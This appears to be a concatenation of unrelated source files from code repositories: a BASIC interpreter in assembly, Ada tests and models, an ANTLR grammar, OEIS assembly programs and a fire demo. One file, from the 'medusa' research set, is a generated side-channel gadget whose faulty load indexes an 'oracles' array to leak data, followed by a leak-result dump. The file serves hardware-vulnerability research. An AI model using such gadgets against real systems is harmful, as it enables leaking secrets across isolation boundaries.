# current line number of execution (or entry) maximum-line-number: .word 0 # max line we've seen current-line-ptr: current-line-bptr: .word 0 # will point to the program bank current-line-aptr: .word 0 # pointer to current program line heap-next-free: .word 0 # pointer to next free area in heap prog-next-free: .word 0 # pointer to next free area in program storage param-length: .byte 0 # number of items on the parameter queue param-types: .byte[10] # tracks the types of each parameter on the queue params: .byte[80] # Up to 10 parameters (8 bytes) itoa-buffer: .byte[32] # buffer for int-to-string ops list-options: highlight: .byte 1 # if !0, use syntax highlighting indent: .byte 1 # if !0, enable block indentation list-colors: linenum-color: .byte constants.LINENUM_COLOR function-color: .byte constants.FUNCTION_COLOR operator-color: .byte constants.OPERATOR_COLOR grouping-color: .byte constants.GROUPING_COLOR command-color: .byte constants.COMMAND_COLOR number-color: .byte constants.NUMBER_COLOR string-color: .byte constants.STRING_COLOR variable-color: .byte constants.VARIABLE_COLOR # some self-modifying code lives here too :-/ _self-mod: _in-port: { [_in-instr+2] := cl c := 0 _in-instr: in cl, 0 ret } _out-port: { [_out-instr+2] := cl _out-instr: out 0, al ret } } ############################################################################### # # BASIC Logic # ############################################################################### .segment bcode kmemmap.basic.code-start .append { start: { call patch # make sure self-modifying code is in place call init # Say hello call repl # Enter the REPL brk } .import "./utils.asm" .import "./tokenizer.asm" .import "./parser.asm" .import "./handlers/common.asm" .import "./handlers/op.asm" .import "./handlers/fn.asm" .import "./handlers/stmt.asm" .import "./expr-tokens.asm" .import "./stmt-tokens.asm" .import "./eval.asm" .import "./exec.asm" patch: { # some of our requirements involve self-modifying code. That's done # in our data segment. Since that won't be initialized, we need to # write some code there. x := 20 # total self modifying code do { dl := [_copy, x] # read one of our bytes [bdata._self-mod, x] := dl # and put it in data segment dec x } while !c ret _copy: .byte 0x25, 0x40 # [_in-instr+2] := cl .word bdata._in-port+10 .byte 0x14, 0x00, 0x00, 0x00 # c := 0 .byte 0x30, 0x50, 0x00 # in cl, 0 .byte 0xa7 # ret .byte 0x25, 0x40 # [_out-instr+2] := cl .word bdata._out-port+6 .byte 0x31, 0x10, 0x00 # out 0, al .byte 0xa7 # ret } # # Hi! # ####################################################################### init: { d := brodata.welcome >> 3 x := brodata.welcome & 7 call [vectors.PRINT] call new call init-list-options ret } init-list-options: { dl := 1 [bdata.indent] := dl dl := constants.LINENUM_COLOR [bdata.linenum-color] := dl dl := constants.FUNCTION_COLOR [bdata.function-color] := dl dl := constants.OPERATOR_COLOR [bdata.operator-color] := dl dl := constants.GROUPING_COLOR [bdata.grouping-color] := dl dl := constants.NUMBER_COLOR [bdata.number-color] := dl dl := constants.STRING_COLOR [bdata.string-color] := dl dl := constants.VARIABLE_COLOR [bdata.variable-color] := dl dl := constants.COMMAND_COLOR [bdata.command-color] := dl ret } ######################################################################## # Resets BASIC's internal state so that a new program can be entered. ######################################################################## new: { _main: d := 0 [bdata.forsub-stack-ptr] := d # forsub stack pointer is reset [bdata.maximum-line-number] := d # max line is zero too [bdata.current-line-number] := d # current line number is zero d := 1 [bdata.heap-next-free] := d # heap starts at 1 (so we avoid NUL) [bdata.prog-next-free] := d # program code starts at 1 LDPTR(d, x, kmemmap.basic.prog-start) [bdata.current-line-bptr] := d # not pointing anywhere either [bdata.current-line-aptr] := x # not pointing anywhere either d := constants.MODE_DIRECT [bdata.execution-mode] := d # direct mode (not running) # Initialize variables al := 0 d := 0 x := kmemmap.basic.vars-start y := kmemmap.basic.vars-length do { dec y [d, x, y] := al # clear memory } while !z # initialize line number pointers LDPTR(d, x, kmemmap.basic.lptr-start) y := kmemmap.basic.lptr-size # (technically zero) do { dec y [d, x, y] := al # clear memory } while !z # initialize heap MAKE_HEAP(kmemmap.basic.heap-start, kmemmap.basic.heap-size) _out: ret } # # The REPL is responsible for: # # 1. Print prompt, and take input (via vectors.INPUT) # 2. Crunching the line # 3a. If there's a line number, add it to program memory # 3b. If there's no line number, execute it immediately # 4. If an error has occurred, print it. # 5. Go back to 1. # ####################################################################### repl: { _loop: _ready: # # STEP 1 # d := brodata.prompt >> 3 x := brodata.prompt & 7 call [vectors.PRINT] # READY. _get-line: d := bdata.buffer >> 3 x := bdata.buffer & 7 c := 255 call [vectors.INPUT] # Get input from user d := brodata.newline >> 3 x := brodata.newline & 7 call [vectors.PRINT] # NEWLINE, to be neat # Is the line too long, or no line at all? cmp c, 0x00 if z { # no line; go again, but no prompt br _get-line } if n { # yup; too long c := 0 dl := brodata.LINE_TOO_LONG_ERROR call print-error # try again. br _ready } # # STEP 2: Crunch # # 2a. UPPERCASE anything that's not a string; this is important # to ensure that we can properly crunch later. d := bdata.buffer >> 3 x := bdata.buffer & 7 call convert-to-uppercase cmp dl, 0 if !z { # we've got an error -- likely a quote mismatch c := 0 call print-error br _ready } # # 2b. Find the first non-space character. (trimming the front) # We do this so we can ensure that you can have spaces before a # line number and not have it fall into direct mode. d := bdata.buffer >> 3 x := bdata.buffer & 7 y := 0 do { al := [d, x, y] inc y cmp al, 32 } while z dec y # # 2c. Now we can start crunching the line. There's some things we want # to do: # - convert integers into packed forms so that we don't have # to re-parse them later # - convert tokens into packed forms for easier parsing # - strip extra spaces d := bdata.buffer >> 3 x := bdata.buffer & 7 push x # BP+10 push d # BP+8 d := bdata.crunch-buffer >> 3 x := bdata.crunch-buffer & 7 push x # BP+6 push d # BP+4 call crunch-line cmp dl, 0 br !z _display-errors # sometimes crunching will render an error exc d bl := dl # save length of crunch exc d a := 8 clr c # make sure carry is clear add sp, a # clean up our stack # # STEP 3: Store / execute # LDPTR(d, x, bdata.crunch-buffer) al := [d, x] # check the first byte of our crunch cmp al, constants.SPACE if z { inc x # it is, go past dec bl al := [d, x] # get next byte } cmp al, brodata.TOK_BYTE # if it's a byte brs z _store # ... store the line! cmp al, brodata.TOK_WORD # or if it's a word brs z _store # ... store the line _eval: cl := 0 [bdata.execution-mode] := cl # 0 = direct c := 0xFFFF [bdata.current-line-number] := c # When executing direct, the current line number is always -1 [bdata.current-line-bptr] := d [bdata.current-line-aptr] := x call exec # eval uses the above setup to execute code br _display-errors # make sure we show any error messages _store: c := 0 # "c" will be the current line number cmp al, brodata.TOK_BYTE # how much do we read in? if z { inc x # skip past the token dec bl # reduce # of chars to copy cl := [d, x] # only want one byte inc x # and don't want to copy this one, either dec bl # reduce # of chars to copy } else { inc x # skip past the token dec bl # reduce # of chars to copy c := [d, x] # this one's a word inc x dec bl # reduce # of chars to copy inc x dec bl # reduce # of chars to copy } al := [d, x] # check if next char is a space cmp al, constants.SPACE if z { inc x # it is, go past dec bl } [bdata.current-line-number] := c push b # check max line number b := [bdata.maximum-line-number] cmp c, b if !n { # gte, set new max [bdata.maximum-line-number] := c } pop b cmp bl, 1 # if no characters (NUL = one to copy), we're deleting! if z { b := 0 # this will store NULL in the line pointer [bdata.current-line-aptr] := b br _write-address } a := [bdata.prog-next-free] # get next free address so we can write to it [bdata.current-line-aptr] := a # move the heap along a := [bdata.prog-next-free] clr c add a, bl [bdata.prog-next-free] := a a := addrbank(kmemmap.basic.prog-start) [bdata.current-line-bptr] := a # make sure we always write to program memory! # d,x is now at the portion where we can copy to the correct location # and bl has the number of crunched characters to copy (plus 1) y := bl dec y do { al := [d, x, y] # get byte <bdata.current-line-bptr>, y := al # and write dec y } while !c _write-address: # write the address to our line # pointer LDPTR(d, x, kmemmap.basic.lptr-start) shl c, 1 # multiply by two, since it's now becoming a pointer clr c # don't forget to clear carry y := c # move ahead the right amount b := [bdata.current-line-aptr] [d, x, y] := b # write our pointer br _get-line _display-errors: # # STEP 4: Display errors # c := 0 cmp dl, 0 if !z { call print-error } _check-run: dl := [bdata.execution-mode] # did something put us into exec mode? cmp dl, 0 # check it! if !z { _run: c := [bdata.current-line-number] # get the line number LDPTR(d, x, kmemmap.basic.lptr-start) shl c, 1 # multiply by two, since it's now becoming a pointer y := c # move ahead the right amount c := [bdata.current-line-number] # get the line number inc c # move c along in prep for next line [bdata.current-line-number] := c # and store b := [d, x, y] # get the pointer into program space cmp b, 0 br z _run-continue a := addrbank(kmemmap.basic.prog-start) [bdata.current-line-bptr] := a # make sure we always read from program memory! [bdata.current-line-aptr] := b # point at the line in program memory call exec cmp dl, 0 # did an error happen? if !z { a := 0 [bdata.execution-mode] := al # drop out of execution mode dec c # put back to failing line call print-error # and print error } _run-continue: dl := [bdata.execution-mode] # still in execution mode? cmp dl, 0 if !z { c := [bdata.current-line-number] # check current line number b := [bdata.maximum-line-number] # against ending number cmp c, b br z _run # equal, keep going br n _run # less-than, keep going } _run-bail: } # # STEP 5: Do it again # br _ready ret } } }
Task/Mutual-recursion/Ada/mutual-recursion-2.ada
LaudateCorpus1/RosettaCodeData
1
11223
<reponame>LaudateCorpus1/RosettaCodeData with Ada.Text_Io; use Ada.Text_Io; procedure Mutual_Recursion is function M(N: Natural) return Natural; function F(N: Natural) return Natural; function M(N: Natural) return Natural is (if N = 0 then 0 else N – F(M(N–1))); function F(N: Natural) return Natural is (if N =0 then 1 else N – M(F(N–1))); begin for I in 0..19 loop Put_Line(Integer'Image(F(I))); end loop; New_Line; for I in 0..19 loop Put_Line(Integer'Image(M(I))); end loop; end Mutual_recursion;
tests/tests/device/class_hid/main.adb
JeremyGrosser/usb_embedded
0
12039
<gh_stars>0 -- This test is check control data out with a fake class request with USB_Testing; use USB_Testing; with USB_Testing.UDC_Stub; use USB_Testing.UDC_Stub; with USB_Testing.UDC_Scenarios; with HAL; use HAL; with Interfaces; use Interfaces; with USB; use USB; with USB.Device; use USB.Device; with USB.Device.HID; with USB.HAL.Device; use USB.HAL.Device; procedure Main is Scenario : aliased constant UDC_Stub.Stub_Scenario := UDC_Scenarios.Enumeration (Verbose => False) & UDC_Scenarios.Set_Config (Verbose => True, Config_Id => 1) & Stub_Scenario'(1 => (Kind => Set_Verbose, Verbose => True), 2 => (Kind => UDC_Event_E, Evt => (Kind => Setup_Request, -- Get Report descriptor Req => ((Iface, 0, Stand, Device_To_Host), 6, 16#2200#, 0, 255), Req_EP => 0)), -- ACK the IN transfer with a ZLP 3 => (Kind => UDC_Event_E, Evt => (Kind => Transfer_Complete, EP => (0, EP_Out), BCNT => 0)) ); RX_Data : aliased constant UInt8_Array := (1 .. 16 => 42); Configuration : aliased constant UInt8_Array := (0 .. 1 => 0); HID_Class : aliased USB.Device.HID.Default_HID_Class; UDC : aliased UDC_Stub.Controller (Scenario'Unchecked_Access, RX_Data'Unchecked_Access, Has_Early_Address => False, Max_Packet_Size => 64, EP_Buffers_Size => 256, Number_Of_EPs => 1); Stack : USB.Device.USB_Device_Stack (Max_Classes => 1); Result : USB.Device.Init_Result; S : Natural := 1; begin if not Stack.Register_Class (HID_Class'Unchecked_Access) then raise Program_Error with "Register class failed"; end if; Result := Stack.Initialize (Controller => UDC'Unchecked_Access, Manufacturer => To_USB_String ("Manufacturer"), Product => To_USB_String ("Product"), Serial_Number => To_USB_String ("Serial"), Max_Packet_Size => 64); if Result /= Ok then raise Program_Error with "Stack init failed: " & Result'Img; end if; Stack.Start; loop Stack.Poll; if HID_Class.Ready then case S is when 1 => HID_Class.Set_Click (Btn1 => False, Btn2 => False, Btn3 => False); HID_Class.Set_Move (10, 0); HID_Class.Send_Report (UDC); when 2 => HID_Class.Set_Click (Btn1 => False, Btn2 => False, Btn3 => False); HID_Class.Set_Move (0, -10); HID_Class.Send_Report (UDC); when 3 => HID_Class.Set_Move (0, 0); HID_Class.Set_Click (Btn1 => True, Btn2 => False, Btn3 => False); HID_Class.Send_Report (UDC); when others => null; end case; S := S + 1; end if; pragma Warnings (Off, "possible infinite loop"); exit when UDC.End_Of_Scenario; pragma Warnings (On, "possible infinite loop"); end loop; end Main;
Stages/Grammar/CdeltaParser.g4
sungaila/CdeltaLegacy
1
1809
parser grammar CdeltaParser; options { tokenVocab=CdeltaLexer; } // PARSER RULES codeFile : preAutomatonCode automatonDefinition postAutomatonCode EOF; preAutomatonCode : undefined; postAutomatonCode : undefined; automatonDefinition : accessModifier? AUTOMATON (LESS_THAN automatonDataType GREATER_THAN)? IDENTIFIER CURLY_OPEN automatonBody CURLY_CLOSE; accessModifier : PROTECTED INTERNAL | PRIVATE PROTECTED | PUBLIC | INTERNAL | PROTECTED | PRIVATE; automatonDataType : (~(GREATER_THAN))+; automatonBody : (stateDefinition | transitionDefinition)*; stateDefinition : START? END? STATE IDENTIFIER (SEMICOLON | (CURLY_OPEN stateInnerBlock CURLY_CLOSE)); stateInnerBlock : stateEntry? stateExit? | stateExit? stateEntry? ; stateEntry : ENTRY CURLY_OPEN undefined CURLY_CLOSE; stateExit : EXIT CURLY_OPEN undefined CURLY_CLOSE; transitionDefinition: TRANSITION IDENTIFIER IDENTIFIER CURLY_OPEN (transitionInnerBlock | undefined) CURLY_CLOSE; transitionInnerBlock : transitionCondition transitionEntry? | transitionEntry? transitionCondition ; transitionCondition : CONDITION CURLY_OPEN undefined CURLY_CLOSE; transitionEntry : ENTRY CURLY_OPEN undefined CURLY_CLOSE; undefined : .*?;
Transynther/x86/_processed/NONE/_zr_xt_/i7-8650U_0xd2_notsx.log_522_743.asm
ljhsiun2/medusa
9
88397
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x1b391, %rsi lea addresses_WT_ht+0x15df1, %rdi nop nop nop nop cmp %r14, %r14 mov $91, %rcx rep movsw nop nop nop nop nop xor %r14, %r14 lea addresses_D_ht+0x166f, %rcx clflush (%rcx) nop nop nop nop nop and %r13, %r13 movb $0x61, (%rcx) and $19259, %rsi lea addresses_UC_ht+0x176d1, %rdx nop nop nop xor $37181, %r11 movups (%rdx), %xmm5 vpextrq $0, %xmm5, %r14 nop nop nop nop nop xor %r11, %r11 lea addresses_WC_ht+0x49f1, %rsi lea addresses_normal_ht+0xfbf1, %rdi add %rbx, %rbx mov $27, %rcx rep movsw nop sub %rdi, %rdi lea addresses_WT_ht+0xa431, %r14 clflush (%r14) nop nop nop and $10261, %rdx movl $0x61626364, (%r14) nop nop nop add $49198, %rcx lea addresses_WT_ht+0xcd1, %rcx nop nop nop nop nop cmp %rdi, %rdi movw $0x6162, (%rcx) nop nop nop nop nop xor $26157, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdi // Store lea addresses_D+0x1aed5, %rcx nop nop nop nop and $26840, %rbp movb $0x51, (%rcx) nop nop nop nop nop add $1372, %r9 // Faulty Load lea addresses_A+0xd9f1, %r15 nop sub $34012, %rdi mov (%r15), %r9w lea oracles, %r14 and $0xff, %r9 shlq $12, %r9 mov (%r14,%r9,1), %r9 pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'00': 1, '35': 521} 00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
asm-step-by-step/src/template.asm
jsanders/work-throughs
5
93823
<gh_stars>1-10 ; Template for playing around with stuff easily SECTION .bss SECTION .data SECTION .text ; Code section global _start ; Entry point for ld _start: ; Stuff begins ; Stuff ends mov eax, 1 ; `exit` syscall mov ebx, 0 ; Exit code 0 int 0x80 ; Exit
programs/oeis/224/A224134.asm
jmorken/loda
1
14397
<gh_stars>1-10 ; A224134: Number of 3 X n 0..1 arrays with rows nondecreasing and antidiagonals unimodal. ; 8,27,58,106,175,269,392,548,741,975,1254,1582,1963,2401,2900,3464,4097,4803,5586,6450,7399,8437,9568,10796,12125,13559,15102,16758,18531,20425,22444,24592,26873,29291,31850,34554,37407,40413,43576,46900,50389,54047 mov $1,3 lpb $0 add $1,3 add $1,$0 sub $0,1 mov $2,1 add $3,$1 lpe add $1,4 mul $3,2 add $2,$3 add $1,$2 add $1,1
programs/oeis/309/A309758.asm
neoneye/loda
22
241835
<gh_stars>10-100 ; A309758: Numbers that are sums of consecutive powers of 3. ; 1,3,4,9,12,13,27,36,39,40,81,108,117,120,121,243,324,351,360,363,364,729,972,1053,1080,1089,1092,1093,2187,2916,3159,3240,3267,3276,3279,3280,6561,8748,9477,9720,9801,9828,9837,9840,9841,19683,26244,28431,29160,29403,29484,29511,29520,29523,29524,59049,78732,85293,87480,88209,88452,88533,88560,88569,88572,88573,177147,236196,255879,262440,264627,265356,265599,265680,265707,265716,265719,265720,531441,708588,767637,787320,793881,796068,796797,797040,797121,797148,797157,797160,797161,1594323,2125764,2302911,2361960,2381643,2388204,2390391,2391120,2391363 seq $0,224195 ; Ordered sequence of numbers of form (2^n - 1)*2^m + 1 where n >= 1, m >= 1. seq $0,191107 ; Increasing sequence generated by these rules: a(1)=1, and if x is in a then 3x-2 and 3x+1 are in a. sub $0,13 div $0,9 add $0,1
minfire/minfire.asm
xeleh/sizecoding
3
95055
; minfire ; a good looking fire effect in 64 bytes! ; coded by xeleh ; 17/01/2022 org 100h section .text ; constants width equ 320 ; screen width timer equ 46ch ; bios timer ; set screen mode and palette mov al,13h ; bios service: set screen mode les bp,[bx] ; set pointer to vga memory pop ds ; make sure that we can read the bios timer inc cx ; mov cx,0 in 1 byte (assuming cx = 0xff) cwd ; mov dx,0 in 1 byte color int 10h ; call bios service mov ax,1010h ; bios service: set one DAC color register test bl,32 ; colors 32-63? jz .red ; no -> red gradient, yes -> orange gradient .green inc ch ; increment green component jmp .next ; hold the red component .red inc dh ; increment red component .next inc bx ; next color jnz color ; repeat ; draw fire fire mov ax,[es:di+width-1] ; get the values of two pixels above add al,ah ; sum their color indexes add al,ah ; stoke the fire xor al,ah ; add noise add al,[es:di] ; add the current pixel xor al,[es:di] ; more noise shr al,2 ; calculate the average color index stosb ; draw pixel cmp di,-width ; bottom reached? jnz fire ; no -> next pixel ; draw some shit at the bottom mov cl,width/2 ; a whole line .shit add ax,[timer] ; randomize stosw ; draw loop .shit ; next 2 pixels jmp fire
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c5/c54a24b.ada
best08618/asylo
7
13632
-- C54A24B.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT NULL SUBTYPE RANGES ARE ACCEPTABLE CASE CHOICES, -- WHERE THE BOUNDS ARE BOTH OUT OF THE SUBRANGE'S RANGE, AND -- WHERE VACUOUS CHOICES HAVE NON-NULL STATEMENT SEQUENCES. -- CHECK THAT AN UNNEEDED OTHERS CLAUSE IS PERMITTED. -- HISTORY: -- DAT 01/29/81 CREATED ORIGINAL TEST. -- DHH 10/20/87 SHORTENED LINES CONTAINING MORE THAN 72 CHARACTERS. WITH REPORT; PROCEDURE C54A24B IS USE REPORT; TYPE C IS NEW CHARACTER RANGE 'A' .. 'D'; X : C := 'B'; BEGIN TEST ("C54A24B", "NULL CASE CHOICE SUBRANGES WITH VALUES " & "OUTSIDE SUBRANGE"); CASE X IS WHEN C RANGE C'BASE'LAST .. C'BASE'FIRST | C RANGE 'Z' .. ' ' => X := 'A'; WHEN C => NULL; WHEN OTHERS => X := 'C'; END CASE; IF X /= 'B' THEN FAILED ("WRONG CASE EXECUTION"); END IF; RESULT; END C54A24B;
libxwidget/src/gbutton.asm
ssebs/xos
15
91039
;; xOS -- libxwidget 1 ;; Copyright (c) 2017 by <NAME>. use32 ; ; typedef struct gbutton_component ; { ; u8 id; // XWIDGET_CPNT_GBUTTON ; u32 text; ; u16 x; ; u16 y; ; u16 width; ; u16 height; ; u16 end_x; ; u16 end_y; ; u32 fg; ; u32 bg; ; u8 reserved[231]; ; } ; GBUTTON_TEXT = 0x01 GBUTTON_X = 0x05 GBUTTON_Y = 0x07 GBUTTON_WIDTH = 0x09 GBUTTON_HEIGHT = 0x0B GBUTTON_END_X = 0x0D GBUTTON_END_Y = 0x0F GBUTTON_FG = 0x11 GBUTTON_BG = 0x15 ; xwidget_create_gbutton: ; Creates a graphical button component ; In\ EAX = Window ; In\ ESI = Text ; In\ CX/DX = X/Y pos ; In\ BX/DI = Width/Height ; In\ EBP = Pointer to color (low DWORD FG, high DWORD BG) ; Out\ EAX = component handle align 4 xwidget_create_gbutton: mov [.window], eax mov [.text], esi mov [.x], cx mov [.y], dx mov [.width], bx mov [.height], di mov eax, [ebp] mov [.fg], eax mov eax, [ebp+4] mov [.bg], eax mov eax, [.window] call xwidget_find_component cmp eax, -1 je .error mov [.component], eax ; make a button mov byte[eax], XWIDGET_CPNT_GBUTTON mov edx, [.text] mov dword[eax+GBUTTON_TEXT], edx mov dx, [.x] mov [eax+GBUTTON_X], dx mov dx, [.y] mov [eax+GBUTTON_Y], dx mov dx, [.width] mov [eax+GBUTTON_WIDTH], dx mov dx, [.height] mov [eax+GBUTTON_HEIGHT], dx mov dx, [.x] add dx, [.width] mov [eax+GBUTTON_END_X], dx mov dx, [.y] add dx, [.height] mov [eax+GBUTTON_END_Y], dx mov edx, [.fg] mov [eax+GBUTTON_FG], edx mov edx, [.bg] mov [eax+GBUTTON_BG], edx ; request a redraw mov eax, [.window] call xwidget_redraw mov eax, [.component] ; return the component ret .error: mov eax, -1 ret align 4 .window dd 0 .text dd 0 .x dw 0 .y dw 0 .width dw 0 .height dw 0 .bg dd 0 .fg dd 0 .component dd 0
src/model/jason-tickets-models.ads
stcarrez/jason
2
10999
----------------------------------------------------------------------- -- Jason.Tickets.Models -- Jason.Tickets.Models ----------------------------------------------------------------------- -- File generated by ada-gen DO NOT MODIFY -- Template used: templates/model/package-spec.xhtml -- Ada Generator: https://ada-gen.googlecode.com/svn/trunk Revision 1095 ----------------------------------------------------------------------- -- Copyright (C) 2020 Stephane.Carrez -- Written by Stephane.Carrez (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- pragma Warnings (Off); with ADO.Sessions; with ADO.Objects; with ADO.Statements; with ADO.SQL; with ADO.Schemas; with ADO.Queries; with ADO.Queries.Loaders; with Ada.Calendar; with Ada.Containers.Vectors; with Ada.Strings.Unbounded; with Util.Beans.Objects; with Util.Beans.Objects.Enums; with Util.Beans.Basic.Lists; with AWA.Users.Models; with Jason.Projects.Models; with Util.Beans.Methods; pragma Warnings (On); package Jason.Tickets.Models is pragma Style_Checks ("-mr"); type Actor_Type is (ACTOR_USER, ACTOR_SYSTEM); for Actor_Type use (ACTOR_USER => 0, ACTOR_SYSTEM => 1); package Actor_Type_Objects is new Util.Beans.Objects.Enums (Actor_Type); type Nullable_Actor_Type is record Is_Null : Boolean := True; Value : Actor_Type; end record; type Status_Type is (OPEN, ASSIGNED, ACCEPTED, ON_HOLD, REOPEN, REJECTED, CLOSED); for Status_Type use (OPEN => 0, ASSIGNED => 1, ACCEPTED => 2, ON_HOLD => 3, REOPEN => 4, REJECTED => 5, CLOSED => 6); package Status_Type_Objects is new Util.Beans.Objects.Enums (Status_Type); type Nullable_Status_Type is record Is_Null : Boolean := True; Value : Status_Type; end record; type Ticket_Type is (INCIDENT, ISSUE, WORK, ENHANCEMENT, LIMITATION, CHANGE_REQUEST); for Ticket_Type use (INCIDENT => 0, ISSUE => 1, WORK => 2, ENHANCEMENT => 3, LIMITATION => 4, CHANGE_REQUEST => 5); package Ticket_Type_Objects is new Util.Beans.Objects.Enums (Ticket_Type); type Nullable_Ticket_Type is record Is_Null : Boolean := True; Value : Ticket_Type; end record; type Ticket_Ref is new ADO.Objects.Object_Ref with null record; type Attribute_Ref is new ADO.Objects.Object_Ref with null record; -- Create an object key for Ticket. function Ticket_Key (Id : in ADO.Identifier) return ADO.Objects.Object_Key; -- Create an object key for Ticket from a string. -- Raises Constraint_Error if the string cannot be converted into the object key. function Ticket_Key (Id : in String) return ADO.Objects.Object_Key; Null_Ticket : constant Ticket_Ref; function "=" (Left, Right : Ticket_Ref'Class) return Boolean; -- Set the ticket identifier. procedure Set_Id (Object : in out Ticket_Ref; Value : in ADO.Identifier); -- Get the ticket identifier. function Get_Id (Object : in Ticket_Ref) return ADO.Identifier; -- Get the optimistic lock version. function Get_Version (Object : in Ticket_Ref) return Integer; -- Set the ticket summary. procedure Set_Summary (Object : in out Ticket_Ref; Value : in Ada.Strings.Unbounded.Unbounded_String); procedure Set_Summary (Object : in out Ticket_Ref; Value : in String); -- Get the ticket summary. function Get_Summary (Object : in Ticket_Ref) return Ada.Strings.Unbounded.Unbounded_String; function Get_Summary (Object : in Ticket_Ref) return String; -- Set the ticket project unique identifier. procedure Set_Ident (Object : in out Ticket_Ref; Value : in Integer); -- Get the ticket project unique identifier. function Get_Ident (Object : in Ticket_Ref) return Integer; -- Set the ticket creation date. procedure Set_Create_Date (Object : in out Ticket_Ref; Value : in Ada.Calendar.Time); -- Get the ticket creation date. function Get_Create_Date (Object : in Ticket_Ref) return Ada.Calendar.Time; -- Set the ticket priority. procedure Set_Priority (Object : in out Ticket_Ref; Value : in Integer); -- Get the ticket priority. function Get_Priority (Object : in Ticket_Ref) return Integer; -- Set the ticket status. procedure Set_Status (Object : in out Ticket_Ref; Value : in Jason.Tickets.Models.Status_Type); -- Get the ticket status. function Get_Status (Object : in Ticket_Ref) return 